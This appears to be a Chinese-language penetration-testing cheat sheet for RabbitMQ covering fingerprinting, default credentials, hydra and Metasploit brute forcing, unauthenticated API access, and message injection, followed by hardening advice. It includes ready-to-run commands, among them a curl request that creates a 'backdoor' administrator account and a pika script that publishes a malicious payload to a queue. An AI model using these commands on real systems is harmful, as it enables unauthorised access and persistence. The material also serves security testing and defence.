5672/15672 - RabbitMQ 服务渗透测试

服务概述

RabbitMQ 是消息队列服务。默认凭据、管理界面暴露是主要安全问题。

默认端口: 5672 (AMQP), 15672 (Management)
危害等级: ⭐⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV --script http-title -p 15672 TARGET

# 访问管理界面
curl http://TARGET:15672

# 输出:
# RabbitMQ Management

默认凭据

guest:guest (仅本地访问)
admin:admin
administrator:administrator

常见攻击手法

1. 默认凭据

原理: RabbitMQ 使用默认用户名密码。

利用:

# 测试默认凭据
curl -u guest:guest http://TARGET:15672/api/overview

# 如果成功,返回 JSON 数据

2. 暴力破解

利用:

# hydra
hydra -l guest -P rockyou.txt http-get://TARGET:15672/login

# 或使用 metasploit
use auxiliary/scanner/http/rabbitmq_login
set RHOSTS TARGET
run

3. 未授权访问 (旧版本)

原理: 旧版本 RabbitMQ 管理界面无认证。

利用:

# 访问 API
curl http://TARGET:15672/api/overview

# 列出用户
curl http://TARGET:15672/api/users

# 列出队列
curl http://TARGET:15672/api/queues

# 创建用户
curl -u guest:guest -X PUT http://TARGET:15672/api/users/backdoor \
  -d '{"password":"backdoor123","tags":"administrator"}'

4. 消息注入

原理: 向队列发送恶意消息。

利用:

import pika

# 连接
credentials = pika.PlainCredentials('guest', 'guest')
connection = pika.BlockingConnection(
    pika.ConnectionParameters(host='TARGET', credentials=credentials)
)
channel = connection.channel()

# 发送消息
channel.basic_publish(
    exchange='',
    routing_key='target_queue',
    body='{"cmd": "malicious_payload"}'
)

防御建议

# 1. 修改默认凭据
rabbitmqctl change_password guest NEW_PASSWORD

# 2. 删除 guest 用户
rabbitmqctl delete_user guest

# 3. 创建新用户
rabbitmqctl add_user admin StrongPassword123!
rabbitmqctl set_user_tags admin administrator

# 4. 网络隔离
# 不暴露公网
# 防火墙限制访问

参考链接